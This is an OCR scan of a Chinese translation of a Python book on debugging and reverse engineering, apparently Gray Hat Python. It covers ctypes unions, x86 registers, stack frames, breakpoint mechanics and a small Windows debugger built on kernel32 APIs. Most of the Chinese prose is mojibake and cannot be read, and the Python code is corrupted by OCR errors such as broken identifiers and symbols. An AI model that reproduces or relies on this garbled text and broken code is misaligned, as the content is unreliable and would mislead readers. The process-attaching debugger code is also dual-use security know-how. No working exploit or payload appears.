=T

InC

union {
long  barley long;
int barley_int;
char  barley char[8];
tbarley amount;

In Python

class barley amount(Union):
_fields_ =
("barley long", ¢ _long),
("barley int", c¢_int),
("barley char", c_char * 8),
]

TR FATE — AN HEEORE A TS T HY barley int, $535 JATTHL AL H barley char, H]
FRE AR WA FIA ) 66,

chapter1-unions.py

from ctypes import *

class barley amount(Union):
_fields_ =
("barley long", c_long),
("barley int", c_int),



("barley char", ¢ char * 8),
]
value = raw_input("Enter the amount of barley to put into the beer vat:
my_barley = barley amount(int(value))
print "Barley amount as a long: %ld" % my_barley.barley long
print "Barley amount as an int: %d" % my_barley.barley long
print "Barley amount as a char: %s" % my_barley.barley char

R

C:\Python25> python chapterl-unions.py

Enter the amount of barley to put into the beer vat: 66
Barley amount as a long: 66

Barley amount as an int: 66

Barley amount as a char: B

C:\Python25>

A I — AME L RE AT B = Fh AR IR I 5 2. S f5—> barley_char i th 1145 12 B,
A4 66 WIlLf#E B 1¥) ASCII 5.

barley char Ji% i [A] B 2 AN 0L, — AN )\ R/ RIS 7 ctypes H HIE — N 404
JUB R FR R AR R e DU B S I B E i nT L T

U, JHRBA TR RFE T !

2
RSy

RSB BRERNIRAE . /RS BN FIT AR
BRI AT Rl ZeP K 2 exploit fuzzer FJKEE 74T B,
A HTIIEE T R E R AR I o o 1k 510 001 K 5 4 T AR AR ik

T AR Y A SEELR B, Al TR AR IS A AR T o B IRATDRHER A G B2 AT Al R I,
PRSP TR 2 AL telisAT, B, Dat, bR, WEW A BEE



FEARINAT s FPE SR N, XL IRR IR AN, B BRIXEZE VRN 1Y

FEVRN I 00, JeibAilse T8 T B @il B Wl A R . P2 RT 6
BWE A BRI, SRVEIT R TS5 A0 R P AT RS B A PR BRIl X2 A
P 2 FRAMRMERF B URACHD I, TP, 3018 RN,  Hacker #t2x NH] R & 1R
BR AR o SRR, Bl ul i B AR BUEAEWI ), ME—RER 2RO S g
A o TXIE EEOHT R IS AR TR, 4R R PP IR DR AR SRR %, AE BRI (] o B
% o (E PR A0 1) BB A AT (380 1) T ROR AR AN R AR A AT 5, A, AT I Tk
R, HRHIFREE TR,

MR PR R R PRI R AR, PR R R 2 ring3
PRES) eI IsAT R i — R CERERIRERS Do I B A R 2 S AR R
MRisAT “is%ds (caclexe)” MINHR, BieE— GO RIERE; XX A BRI
AU PR IR A% OB 2 i . X ILISATABIE RGN, WaRe, RZ
AF. 84T Wireshark BARECE QIR LA —A> TARE WAL EE K H. . R
PRAET (5 UK o A I IR SRS A A P SO AR i s 1

R EE ] B IS KKV B A T WinDbg (#4:7), OllyDbg
(A I AES /E# 2 Oleh Yuschuk)o 44R7E Linux N iFIFE R IS5, 5w 2248 H]
PRAERT GNU ks (gdbdo DAL =AM KA A 2 1ok, #0H +% A R i sl

AT JUAE, A AR IR BE I IR BT T2 R, H0i) 2 4E Windows -5
B REA A BLAE O T Rk b, A e AR o 53 11 5 Ot R s b A T 1 2B IR T A A
btz 7ok 4, LI %1 Hacker AU ] TRENTE 1152 Hl00 & Fhohe. 7E
X J5 10 HH BT AN B 00 B A AR 1 AR L ) i) & PyDbg (byPedram Amini) f1 Immunity
Debugger (from Immunity, Inc.).

PyDbg A4l Python SZHLIF R4S, 1E 2L AE6E ] Python 15 75 4% THI (1) 45 ) — AN 10 RE
SCILE B Immunity KA UDE — AU ARIR AT — 20 PR, FRIHAR S 1A
AL OllyDbg, {H 44T 5 5 K Dy fig LA S B2 22 (1) Python Y o IX AN I As AR A 15 11
JE TS VEA AN IR G LEFRA RN T R i 2% 1) — R B

PRI, FATTRALTE RSP AE x86 V& NI B, M Xt CPU 1R R 454, (M)
B LA % (0 JES 2 4 A 40 0 VR ONER ST, PR 2 1) AR B B, A SEILERATT B i
AT N Ak

2.1 A CPU 7%

CPU [P35 fr-s RR 0T /D it (B dE AT VORI AF LG 1) o 7F x86 FRAHEHL, — 1N CPU A
J\ANIE T %9 7748 : EAX, EDX, ECX, ESL EDIL, EBP, ESP fil EBX. &fi/E £ 5K &5 178s, 8
S g BAR YA . X ) \ANEH A8 S A A HE, TS AT AE RT3 AT B i
AR OCHEE . L IRAVE TR — G T A BE o B AT PR ik — Aoy Sy 5
58 K U B At e AT A8 v



EAX 57 M ORI & A7 4, B 7 476k o8 B0 3R [RMESMB ] FIAT T
Beflo VP2 AU x86 TR 4R AL TRV T 41X BAX W A7 88 B E AITHS RS . S iR
FEAII N9, PR BRI B R A H A L T EAX ARAER 2o

WA B0 T, BRSO 2 7 1 EAX P38 . X AR, Wil in
110 EAX AT AT LA o6 MR R 5 7, o A B R

EDX 7 £ e M ABCE0H 25 77 8 o IXAS A5 A7 AT LR U EAX 25 47485 (KT i,
EH EAX S8R 2 ST R E G IREMERE . B AR RE I E ] S A, A
LR (W 455 EAX ZF A7 BT VSR

ECX #4745, WMIBGHHA 238, JITARSREAE, LLUTTE ST TR BT, ok
LHFE . A MR, ECX 7SI SR 1 F AR 1 LA R S L 1 T
EIAERAE I 2 e R0 /N DD 6

F—F NI Python Jy B¢:

counter = 0

while counter < 10:
print "Loop number: %d" % counter
counter +=1

UERARAEIZACE FAL B AR, PR B8 — R M ECXOR A8 T 10, 55 48
MBS T 9, Wtk R EZENE ECX /b3 0. IXIRA S ik NN, BhiX#1 Python MIfEHR
WA AR S, (R K EHEAG ECX 2 [ M UFEIEUT T .

7E x86 {14 L, # & ESI Al EDI 75 47 BEXT 75 B8 PR VE (W 50 1B ATy R0 Ak 3L
ESI A {7 as AR E R R 5T, AAEE M AR BRI . EDI T 7a8 2 H PR ELdR 5
A4l T V45 BALAE AT & . T8 5 2, ESI (source index) H 1%, EDI (destination index)
HT5. HIESRELERE R B RS EEERE, BORRIEm TR A PR 1M 3% .

ESP Al EBP 73 2 Ak T AR B o XA 25 474 3 [ 87 5 o 5 10 MR P 5
Yo = RR B IR, o B 210 2 Bt 2 s b A P 35 i R 8001 3% [0 b ik A A s
#t. ESPIRFHIL, Wil Elhit. EBP WIRHEA . A%, ik ds REm Mo It
6, BEI EBP, LA TARIERAE, M0 Wl (K A2

EBX 2 MEATHETR I 02 1728 . B RERB I MM S 7 25
AT AT SR A7 A EIP. A9 1728 MR R T L BI04 4 CPU
BT ABUFRIHT LT RYRISIN B2, BIP 2SR 1 40 CPU 1 BEHRT B0 fL e

— AN AR A RENS AR T (S AR TG SOX 895 17 8 1O N o B — DM RAE R ARSI
TR DAERR A CPU A& H.,  DMEREWSIRIUNME MOX L . AR AR5 1 31 R 4E
BT VRSN A SRR A



2.2 %

FETT AR & (R IR, e — SR T E A S5 o BRAF Ak T3 R BOR ATA DG R 2% 5 5
BLFE bR K 2 HO R B AT 58 R AR BT U7 0. ESP $A ST EREAARTI,  EBP $A ST ERFR R .
F A e IEAR A G o LR FRATTHT AT T2 5 PR PR &L my_sockOFF b Bl U Ak 2
i AR

Function Call in C

int my_socks(color_one, color_two, color_three);

Function Call in x86 Assembly

push color_three
push color two
push color_one
call my_socks

HAHEZL K SRR P 2-1

ESP register ————m= Return address

color one

color two Stack growth direction

color three

EBP register —————m= Base of stack frame

Kl 2-1: my_socks() X% RIEREH

WIURPT L, 32— AR TR S R Bt g A, [ IR R A R o e O T PR S Al . 24



my_sock()RRER BTN, & 23l T 240 CGRIPAETEE] EIP), AR)5 B2 (A
Hutik(Return address)fi [a] ML TT (SRR AR B RSP AT . 57— AT EH IR RS 2
AR 2. FEIATI my_socks()pR B Jig— mi, EIRAMESE o8 B R H A A8 28— 1 St 2
HE— PR Al K S4 color_one SHIZEIEA M. ANV IZBIXH:

int my_socks(color one, color )

{

char stinky sock color on[10];

PR HCKE 7E B8 B H1 1 stinky sock color on AR [ [H], DMEAEAE A CYRSBEE R
BIPAT 52 BB, ASAER BT TR, MERSEIRZ). HIEHII LG, YRR 4
FPRAZ B 2-2 B B HIXFE

ESP register ———— stinky sock color one

Return address

color one

color_two Stack growth direction

color three

EBP register —————= Base of stack frame

Figure 2-2: 7t stinky_sock_color_one Fi% )5 AR HESR
IRAEARZ T A 1 R B0 a0 o] 7048 HL PR 0 DL AR HR B 2 T o] AN W7 A 35K i 1) A T

(¥7o LA HER G IR L E AT AT I, e AE AT e RE e i 358, R B ) A A
TR R DR R I

2.3 AR EM

PR SR AE DR PP I I e 2 — B A5 Ay, BRI 2] DRI A AR R
PERAE IR, e P ] 20 I K A B R A



Kb B R B ] AR I, s B R P A T — D R s . DU AR 2 — A
VA 2 RENE TS B CHLm A

* Wik
* WAFEER vy i) B s B 1R

© RERH

BEAS AT R GEAS AL I AR 0 75 2R I 28 S AR B 25 T el IR LU B B R R ey
TR o EROBRERSE, feide (BB HZRFE, HanfEgore sl BERE i B LA
L B AR PR (R N8 IR A5G

—AMUT5 U 1 S0 20U T S HRIRIAS (1, RERS 18 52 SCAAE AR B bR O TR R et
rAseiR. 2007, — A PAE T RG] AR I Sk DXl HY 36 ROR AR AR =4 (AR
URRAE VIR TR R AP R AN I8 A L, — 28— D IR A R o (R A A T 2 1
0f PR RIAS R IR (R I, & RE 6 S SRS AR R N PR AR A BE R 8, T B Sh AL SR Ty
SRR R e XA T I IR), Gk F AT 5 4 i 42 o A i ol e

24 Wre

A IRATT A LA TR Py 2275 P IR A At 75 2 W o e T4 e R, JRATTRE ML
Actw, HERRSEA LA, JF Hadsge AT Wsi A ARH 2L, R BERE i i fix
KT RESS LR WAFIRET IE . W7 Al ZE 0 =Rl PRI A, BRI A, A AEIRT e AT
ARF AU A5 30, (ESEBL T BeAl s A A o

241 WK

BT R BARTI S R AE CPU AT B4 8 A7 B AU A I A L 5 o BRI a0
B2 AARAE IR o T B B 22 (R T oo BRPR IR A AR JBOBE R — N SR (9%, T
WAAATRER?, TR RIS B 20 1 1K 2 1O i el A B e B 72 B e S AT A iR 8 20
ST FEAE x86 Vg HLFR- MR AR 1 2251 o

TG 2 CPU ST K I sy AR s T 281

MOV EAX, EBX

R R CPU JEAF7E EBX % 74 HLIKAR U] EAX 74748 o A, A



FENG? BRI CPU MRAAN I FANIA 484, & Wb 208 A il — PPy A RS I AR VG o 4TS
(opcode) #it /& operation code, & CPU BEHEAR H-PAT HITE 5 o HI IV F8 2 e Ak et Ve RS
St T THGX A

8BC3

RV, e IEAEEAT (RAEAR 2 2 NI, HIX I SOE CPU IR S . 1RT]
DAV S 45 2 A4 5 CPU 1] DNS (Bl AT A4% A1 IP R R Z8 55 )0 ARASHTFE— AN
IR AR (B0 CRABLIP kb, AR (2 ] B AV %, R Jr IX SRR 2
S Gt A AR AR o £ HH R R R AR D 2 T B A ), (B AR ATTRT 3 BRLAR S hr
TR AR Y

MR IR TSR 35S R AAE 0x4433221 X AN HbhE, — & X RE s :

0x44332211: 8BC3 MOV EAX, EBX

KRR R Tk, BRAERY, AR A O TAEIXAS kv B W N, B E CPU,
TATTRE N 2 A5 1) 8BC3 HAEID rhffe th — AN B 45 (35D o XA R R B R R
&3 SHiTE4A (INT3), —4%f8il CPU B1FHIFEA . 3 5 Il s/t & 0xCC.
T HL I 1A T TN A L T AU TR T

FE W R AN B AT AR 1A

0x44332211: $BC3 MOV EAX, EBX
WT A B B R
0x44332211:  CCC3 MOV EAX, EBX

IR SR R K 8B K 17 CCo 2 CPU $HAT BIIXAN ARG 1IN 5%, CPU #45
Fffilhe—A INT3(3 5 P FfF. ules B 5 REAR B AN S5, HR0 Tk AT A 2



W, IR T AR AR IR T U 35 S H ARtk B8 — MR L
TG H AR AR E AR AR, SRR PRAFER, RIS IR A A £ P B RS R R 41
xrpo BA, MRS AT RN CC BRI AL, 4 CPU AT 2] CC #AFIE )
I il —A> INT3 P gl dhmf il ds st pe P 20X A Fih . ks ke i 4>
KA WA GBS EIP 485, $R-2485H) R A A COuiTR B R ik d R AR
WA A (R BB s B R R KA L, AR A L T A AR R 3R RS S [R] B H dh
bk, XFEREREOR A R BURE IE W AIHAT o 18] 2-3 XFUEEEAT T PR A 2

Breakpoint List

Address Byte

0x44332211 8B

@ Debugger is instructed fo set a
breakpoint on 0x44332211; @ Overwrite the first byte with the
it reads in and stores the first byte. 0xCC (INT 3) opcode.

a8
£ &

N

— CPU [EIP) —== | 0x44332211: BBC3 MOV EAK, EBX

© When the CPU hits the breakpoint, =
the internal lockup ocecurs, and the
byte is lipped back.

B 2-3: AU A AL B AR

A PRI A AT R P DAREBE R — IR IR iR R T e — IRV R, —
Bk Gir) — G et WA T 7RG B . — N FAPERT SAE CPU fili
Ja 2 BPAFAEAE NIRRT SR L, DURREXIZ AT 2K LB 2 T

SR A FWT kA — A TR0 4 RES3 T 4B TR e (0 N AE B (R I, AR RN 53 1738
AT BT PRI U RIS A (CRC)o CRC s — P B0 el 7 7 B SR R B, e
PN T30, AR, SO, P2 Edln G AT ] PR AR M A8 SR (7 . CRC K — &
O A R 54T hash CHEZD THERE, R0 i) TR o — U R BE R ) W AP B A T I8 5
SRJ5 K4 hash AERTEHT B A6 (9 hash (ELREAT BT, DU B 2 5 05 58 o 0 RAS R U W i
Wekish 70 KU R X AR, DR A5 75 R e 48 R DR P A8 A7 R s AT ARG 1 CRC
{EREEAE, ARGV ESEgE S, WAZREE . i TR RSO N B AEER 1



AT AR, B AR T 5 T

2.4.2  TEIT

TR AR R A, JU S 24 AEE — /N B DX Y 152 B KT 0, (EL S SUANREAB e AT ) B ik
IXFRRAL W S B AE CPU ), FFHFF e a7 2s: k%748, — /N CPU i &f
8 MR ATAF2S (DRO 7285 DR7 F4Ee%), AT T8 BRI . IRIR %7 7228 DRO
PR A7 8% DR3 AAAG AT Wr s bt o X R WRAE IR []— B 18] Y e 22 JLRET 4 AR BT 250
DR4 1 DRS &£ . DR6 A RAZTAFAY, Ui T 87 55 b % R 4025 . DR7 A |
S MBS T O AR, A B4 T WS AN R 2R Y, Sl F DR7 i ffas R IE
ANFbRER, RSO LR JURP IR A

o EEE M RE AT R AT I i K

Coe CUERERHE A B AT DL N ) I

25 R b Rk A B S B S AE AN AT ) i
KAEWA N, YREE B ERIR A (B2 44, NRBGSGSAT I 3R i i

Bl 2-4 SR 7 SRR A PR A BEAN L IEAH ORI T B

Layout of DR7 Register

LIGIL|G|L|G|L|G Type | len | Type | Len | Type | len | Type | len
.
DDDDUDDDW DR | DR | DR | DR | DR | DR | DR | DR
R{R|R|R|R|R|R|R 0 0 : 1 2 2 9 3
ofojrjnj2|2|3|3 ﬁ
Bits|O |1 |2|3|4|5|6|7| 8-15 |1617|18 19|20 21|22 23|24 25|26 27|28 29|30 31




DR7 with 1-byte Execution Breakpoint Set of 0x44332211

1{1|0|0|0)0|0]|0 00 | 0O | 0O | OO | OO | OO | QO | QO

L‘J L

3]
R Ox44332211
0
DR7 with Addifional 2-byte Read,/Write Breakpoint at 0x55667788
=z
]l]lﬂDﬂﬂ/ﬂﬂ 00 11 01 00 00 00 | 00
=
? -
D
R Ox55667 788
1
Breakpeint Flags Breakpoint Length Flags
00 - Break on execution 00 - 1 byte
01 - Break on data writes 01 = 2 bytes ([WORD)
11 = Break on reads or writes but not execution 11 - 4 bytes [DWORD)

Kl 2-4:DR7 FAras € T Wr i 288

0-7 AL FEREAEWT A5 BT 5 R M TR . AERX-BA2H LA G 7B JR i 42 JR VT
PRae FACHAMLABCE T, DIIRIIZI ] P B Rl A BEE — St Re LA, 8-25 1
FEFAT— AP A S, 75 x86 [T L AR AT AR X T IX S35 PR A RE . 16-31
REYE T BEEAE 4 AW Rl 25 17 2 P EEE I Rl SR L S K

AW s AR, AR T AN 2 ] INT3 A7, 1 & H INT1(L 5 5 ). INT1 £ 57 fli 4
TR . Pk C Single-step ) BB L BIPATIRS,  MMTRS B IK W 50 B
AR LA I ML 1284k o 7E CPU BRIRPAT AR 2 JT . #02 S6 A A B SR T I AR D (1) 1
HE A SR A T AR b, ] A A U A5 A AR B ) 4 T A T R A A X
WERATAT i A7/ DRO-DR3 Hh (¥ bk i i ) (%) X Sl 7 1) T, s fiki i INTT e, - [m] i 3
5% CPU. WH %A, CPUPATAUS, ZF AT, CPU gkZ:HE A LRIA A .

B BT AR AT D, AR AAT — BRI — TR ) — Bk ) S e v e DY AT R, 5
— 7 T W RO AR 4 A7 CRmbE A 4 A1 1 AR e D . I SRR AR
PRER — RIRWAE A, AUIMANEN T o O TN IR, (R332 N A7 I R



243 PAEWT A

WA T i LA R BRI e 25— DRSS BB T — A WA I RO e, e S
38 T NAE PR B BRI o — A A A TR SR R G B B N A B0 e — N
A7 GO RS R LS i T BUREE, e e T AAAZ I T ) . R LA
BT Y5 R BCRR 11«

AT RIS SRR, A I
AEGT SURVE AT T SO, AR M U
AE VPR AU

) AR ORI R A 5 R R R, 2 i ST R VT ) RS

REBARGISCVIIRER T IX LR . 2540 1, IRBEAAENAFH QIR — A 00iE,  BERE
BN ARES, RN 53— A DU BERETE SCREPAT o BE—NRAE R GUHSA P A 1) o8 H0LE VR 2 0 24 iy
WAF UL OFANEPTATID IBRR, JF BB, 25K 2-5 WEA FIBLER I A A7 5L 2
SRR [ o

Read, Write, or Execution
flags on a memory page
allow data to be moved in
and out or executed on.

Any type of data access
on a guard page will
result in an exception
being raised. The original
data operation will fail.

R O10101010110101001010101010010110101010101001 W
- -
W
0101010101101010010101010T0010110101010101001
-
GUARD PAGE EXCEPTION
- -

B 2-5: & FHASFIRURR B A AF R

Read
Write

Execute

\

T
Fo
K

.

X L RATVE DGR S PR Y UU(Guard Page) o SXFHSEALI GUHIE 4 H T 20 BYMERIRR 5
T R B0 AT Bs AN B K A T o 55— P O0, it 24— NREE 1) N A7 Bt R iy v (2
WD) T SRR 2T, WRIRA AR ) — S R S RE Y, A LR 9 2% i
WG, A B R A7 ERCERY I, HRB TRy, — BRI R U5
o], A CPU B, il —NRY ORI, IX I IRA Tt REAfh 2 R P A AE A A I i
FIAE 25 X7 R B T o 25 PRk — D BRER LS TT 1) A A7 -2, AR i 8 R P 0t



AR T A 28R4 o ORI RISt g i 1 P T s Bt BRI R [, DS R B AT T8 AT 18 AT
AT A .

FHATA L, FATCAEVHASE T A LR AN PR CAE BB, B ok IA 1258 B 3) T

H— Python ik, XIET Windows MRS, A2 HI B FRATH #2201 Jr A
IR

3
H .3 F 5 — windos ik 73

WARMN O L VRS T EEIR, RSSO — N EIER K
IR HIEHMR T o SR IF K& windows B, 18N T —
RHERS NI A R L DL B TR R EATARAE = b R R .

1 R = A X e p B R F R 2E python P48 . A — mUREEE, TATTAT LR
RN 2] PyDbg(Pedram Amini” s )[FffH, X /& H §1AE K2 19 5 8 7 1 Windows & T
f] Python ii{#% . FF Pedram i1, FISvHEH PyDbg 5% T I (Uffgdiss, 22
H, AR, [RINRR AT LATE 2R S 1 H] PyDbg SEILAR I A o

KT R—ANEREHAT R, AR SE 2 — 207 R s A R ok . LA, FR
IR VRES ZEA R Re 8 — D PUTRE P ARG 1217, AR S B2 — AN s 17
HI3ERE . Windows )84 11 (Windows debugging API) 244 T —ANJE ¥ ] 5 (1) 5 vk 58 ik

IBAT AN I 2] — AT A 2200 o 3T 0T — MR AR S AE T REAE R Feis
ATAEAT AR Z i e A R IR e o IXAE S Mo 25 s S RS I IR AR H AT e B & — A
BERE, UOUZ AT IVEEAN A CGs AT TIRERE NS, & SeVFORBIL S shE o A, i
PRIBOGERAIACD o R IEAE 70 HT A5 e e e F AT IEAE AT 3t 7

Sk, s MR S A G XN GRS ale SCHERE, xR g R
AR B R 7E Windows A —ANEFEH CreateProcessA() BRI % FiE e I br &A%
XAk, A4S H AR ERERERE HE K. — > CreateProcessA() i H & L K AZ IX H¥

BOOL WINAPI CreateProcessA(
LPCSTR IpApplicationName,
LPTSTR IpCommandLine,



LPSECURITY_ ATTRIBUTES IpProcessAttributes,

LPSECURITY_ ATTRIBUTES IpThreadAttributes,

BOOL blnheritHandles,

DWORD dwCreationFlags,

LPVOID IpEnvironment,

LPCTSTR lpCurrentDirectory,

LPSTARTUPINFO IpStartupInfo,

LPPROCESS INFORMATION IpProcessInformation
)i

M AN AR 2 8, ANIL, B30 ) R A AT T 2B K (R 73 73 ik B/ RS 78 2 LA
HF. FREMAROLARKSETUE - PERTEEENSH. XESHL
IpApplicationName,l[pCommandLine,dwCreationFlags,IpStartupInfo, #1 lpProcessInformation .
T RHIZHOT LLBCE A (NULLD o 5% XA R B PRGN B v] LA MSDN(fkz 2%
BRI BATI AN SEON TICE, & E AT IR P AR A AR AR IR A R 7 (1 2
. dwCreationFlags (GIEbrIL) SHHZ —MEe E, FRoRRATA EREF U PR
& B WA S B ool s 2 A4 4 M (STARTUPINFO — and
PROCESS_INFORMATION), AL T #ERE W] )5 8, L&A 8 MV 2 3245 B

( IpStartupInfo : STARTUPINFO 45 #), H T 75 @) & v 8k B2 i W & &% A g 1%,

IpProcessInformation: PROCESS INFORMATION g4y, HRAEREFEENE 5 BN &
A ARGIHE D

BB Python L my debugger.py 1 my debugger defines.py. FA 1461 1 — A4~k
debugger() 4 ZE W & Mo kg . S4h, A MEK, BE, W sk
my_debugger defines.py J7{# LLJ5 i

# my_debugger_defines.py
from ctypes import *
# Let's map the Microsoft types to ctypes for clarity

WORD = ¢_ushort

DWORD =c ulong

LPBYTE = POINTER(c_ubyte)
LPTSTR = POINTER(c_char)
HANDLE =c¢_void p

# Constants

DEBUG_PROCESS = 0x00000001
CREATE NEW_CONSOLE = 0x00000010
# Structures for CreateProcessA() function
class STARTUPINFO(Structure):

_fields_ =
"cb", DWORD),
("lpReserved", LPTSTR),
("lpDesktop", LPTSTR),
("lpTitle", LPTSTR),

("dwX", DWORD),



("dwyY", DWORD),
("dwXSize", DWORD),
("dwYSize", DWORD),
("dwXCountChars", DWORD),
("dwYCountChars", DWORD),
("dwFillAttribute",DWORD),
("dwFlags", DWORD),
("wShowWindow", = WORD),
("cbReserved2", = WORD),
("IpReserved2", LPBYTE),

("hStdInput", HANDLE),
("hStdOutput”, ~ HANDLE),
("hStdError", HANDLE),

]
class PROCESS INFORMATION(Structure):

fields =]
("hProcess”,  HANDLE),
("hThread", HANDLE),

("dwProcessId", DWORD),
("dwThreadld", DWORD),

# my_debugger.py
from ctypes import *
from my_debugger defines import *
kernel32 = windll.kernel32
class debugger():
def init (self):
pass
def load(self,path_to_exe):
# dwCreation flag determines how to create the process
# set creation_flags = CREATE NEW_CONSOLE if you want
# to see the calculator GUI
creation_flags = DEBUG_PROCESS
# instantiate the structs
startupinfo = STARTUPINFO()
process_information = PROCESS INFORMATION()
# The following two options allow the started process
# to be shown as a separate window. This also illustrates
# how different settings in the STARTUPINFO struct can affect
# the debuggee.
startupinfo.dwFlags =0x1
startupinfo.wShowWindow = 0x0



# We then initialize the cb variable in the STARTUPINFO struct
# which is just the size of the struct itself
startupinfo.cb = sizeof(startupinfo)
if kernel32.CreateProcessA(path to exe,
None,
None,
None,
None,
creation_flags,
None,
None,
byref(startupinfo),
byref(process_information)):
print "[*] We have successfully launched the process!"
print "[*] PID: %d" % process_information.dwProcessld
else:
print "[*] Error: 0x%08x." % kernel32.GetLastError()

DUAE A TR Ryt — A L ) U OB e f 3 — R — VIR REIE W T ] my _test.py, f&
LR R SCAFARAE R — A H R

#my_test.py

import my_debugger

debugger = my_debugger.debugger()
debugger.load("C:\WINDOWS\\system32\\calc.exe")

WA AR &I i AT EE IDE Fal N BRI, B2 A A R Al 2 bt
AR 4, SRJGIRPIEERE ID (PID), a4l WS ARH L6l 7 calc.exe, VR¥EHAZE
THERLAS R B S B e DR A E RE AT 40 S h i 21 e 5 b, B S A A 4R S AT 1) i
Lo ARPRIRATF A AN LLPAT T LT o AR AT, FATSEILBN T W] = A — AR
M, AR RSB S —AThag, MY s — M EAEIs T it .

T BT E HBERE, A UGS B0 B A . VF 2 )5 TS 21 00 el B A A
ZH RN FRATT A BEAE R B A 2 A AR e Can SR I AT, s 1),
IXANMT-45 HH OpenProcess()7¢ %, MR EH kernel32.dll FE(RH, 5T
HANDLE WINAPI OpenProcess(

DWORD dwDesiredAccess,

BOOL bInheritHandle

DWORD dwProcessld

dwDesiredAccess SR IE T HA A A EAT IS RE TG AT 2 RE IR (4R &
B K Bk % root is hack ) o PR A ZE AT K, T AT B PROCESS_ALL ACCESS .
bInheritHandle 2% ¥ & )i False, dwProcessld Z %1% & A1 B IAF AR ID , 1



HUE TR PID . WER R BRI AT, K5 [l —A> HARKERE B AU

$2 R K ] DebugActiveProcess()b& 5B i 21 H AR HERE :
BOOL WINAPI DebugActiveProcess(
DWORD dwProcessld

)

HE a MM PID fE AN — H RGN IATABERY7 ) Hbr it i, H st REwtEOE
FATH AL A A A KA, ARG R A3 R B2 25 T s . IR B 1IE
U WaitForDebugEvent() AMEAZ IR I F 4. s 58 an T -

BOOL WINAPI WaitForDebugEvent(

LPDEBUG_EVENT IpDebugEvent,

DWORD dwMilliseconds

B NZH 5 DEBUG EVENT 45K, XASERHA T — MRS 3B ANk
B INFINITE CIERRZ5E4%), IXFE WaitForDebugEvent() stAN iR [A], — H 545 H 3 — 3
e,

VR A B (0 A — AN AT AH IR S b 1 R 0, AR PP 4k B AT 1 W] LA 58 AN 7]
MR AE o Ak B ek B o8 B T R AR, A A S BE R AR SR AT ], Xk A
ContinueDebugEvent(). JRAI 1T
BOOL WINAPI ContinueDebugEvent(

DWORD dwProcessld,

DWORD dwThreadld,

DWORD dwContinueStatus

dwProcessId F1 dwThreadld Z%{ i DEBUG EVENT £5#4 BB 78, 24 2l 42
PR A s, gl WaitForDebugEvent() il S04 T (A%, HEFE ID AR FE 1D wl LA
KMAIEAE T « dwContinueStatus 22 VR /2 40244 T(DBG_CONTINUE), 2724k 5
#(DBG_EXCEPTION NOT HANDLED).

R A, NERE S B ok 3EIERE ID 443345 DebugActiveProcessStop()s

MAEBMNEIX LA ALE—, § RN my debugger 25, ikAbIHA B n A 25—
HREDIRE . [N EFTIF— AN R ARG AR FOR I B8 0 o B S AEBRAT T =08 28 FL 58 i
AL PR g # . $TTT my debugger.py B LA LIS,

TN T E IS R, G R B XAE T debugger defines.py SO, SE# AL ]
P http://www.nostarch.com/ghpython.htm %,



#my_debugger.py

from ctypes import *

from my_ debugger defines import *
kernel32 = windll.kernel32

class debugger():
def init (self):
self.h_process = None
self.pid = None
self.debugger active = False

def load(self,path_to_exe):

print "[*] We have successfully launched the process!"
print "[*] PID: %d" % process_information.dwProcessld
# Obtain a valid handle to the newly created process
# and store it for future access
self.h_process = self.open_process(process_information.dwProcessld)

def open_process(self,pid):
h_process = kernel32.0penProcess(PROCESS ALL ACCESS,pid,False)
return h_process
def attach(self,pid):
self.h_process = self.open_process(pid)
# We attempt to attach to the process
# if this fails we exit the call
if kernel32.DebugActiveProcess(pid):
self.debugger active = True
self.pid = int(pid)
self.run()
else:
print "[*] Unable to attach to the process."
def run(self):
# Now we have to poll the debuggee for
# debugging events
while self.debugger active == True:
self.get_debug event()
def get debug event(self):
debug_event =DEBUG_EVENT()
continue_status= DBG_CONTINUE
if kernel32.WaitForDebugEvent(byref(debug_event),INFINITE):
# We aren't going to build any event handlers
# just yet. Let's just resume the process for now.
raw_input("Press a key to continue...")
self.debugger active = False



kernel32.ContinueDebugEvent( \
debug_event.dwProcessld, \
debug_event.dwThreadld, \
continue_status )
def detach(self):
if kernel32.DebugActiveProcessStop(self.pid):
print "[*] Finished debugging. Exiting..."
return True
else:
print "There was an error"

return False

AR FRAT G 5 MR LA B 1 A 1) R 5
#my_test.py
import my_debugger
debugger = my_debugger.debugger()
pid = raw_input("Enter the PID of the process to attach to: ")
debugger.attach(int(pid))
debugger.detach()
FZ LU A BREAT IR (windows T ):
1. EFE JHR->I8AT > A e -> I AF-> T 540
2. AR AR AR 4582, IR HH RS B rp i AT 55 JLEs
3 FEHERE IR,
4 M BARKE S| PID £, 1k BHE->EEY
S5 ORBEREAR VART (PID) HI 1HI A AE 2 I 11, AR5 Hdi OK.
6.4 3 calc.exe AL PID
7047 my_test.py [F] IS Fif 0 $.2 ) PID %45 ¢
8. Press a key to continue...¥] EI7E b Fe bR, A BAETH B A A0 0T o URIN A2 S
AT o XSRS R T, PR
9. AR Python #Z 1l & HAZATAT B, MACK AL R R, #ZEETR.
10 IUAEARBEBS A H AR T

SRl A 2 1) FEIE S A, 38 FRIPIAT A my_debugger.py HERE

# raw_input("Press any key to continue...")
# self.debugger active = False

MAETATC LU T ARBCIERE A RERE AR, DL g — A0, I n—AMig7
MIRERE, T RAERAIG IS A 2 = DI fg .

3.23k18 CPU HHEERE



— NS D AR O EAT AT R ARSI AR 2] CPU (W & ZFAEAR IR . 4 R AR I
X e FATHE R APRE,  HATIEEDIT TR 244, DUl — 2R A AR R
LY H I, 8 G ERI R 6 H AR AR 2R A0, XA DIRET OpenThread()SE B
PR A R G

HANDLE WINAPI OpenThread(
DWORD dwDesiredAccess,
BOOL blnheritHandle,
DWORD dwThreadld

)

XFE KR 15 OpenProcess()FIH KR EL, Br T IX K2 HZFEFRIRTT (thread identifier TID)
2 T HERERRIRAT (PID).

BTG RAF—ANPATHE FIRE T W T A R 1 — N HUER, ARG B RAT A,
H OpenThread() 3% B & (9 A0 W o ik TWF 50 F WA 7 — > R % B A 2 2 (Cenumerate
threads) .

3.2.1 WA &2

H T AR AR R A A AR PPIRES, BRATT M2 R 3 P A IEAEAS AT (2R . S
SERERE R BRI BAT R ORI MGG Z T 1D, BN REP AR Z &R, shad
R, T, TIMX—DIRen & — 98 K & 2L CreateToolhelp32Snapshot(), ‘&
kernel32.dll ‘3t o IXANBREREMCZE AN BERE N BT A AR AL, LUK (DLLs)
FIZ, CAACGHRE T FIHE K . R AN R
HANDLE WINAPI CreateToolhelp32Snapshot(

DWORD dwFlags,

DWORD th32ProcessID

dwFlags Z8bra& T IRA 1T BRI B (L6, HERE, Bidk, sl d. X HIK
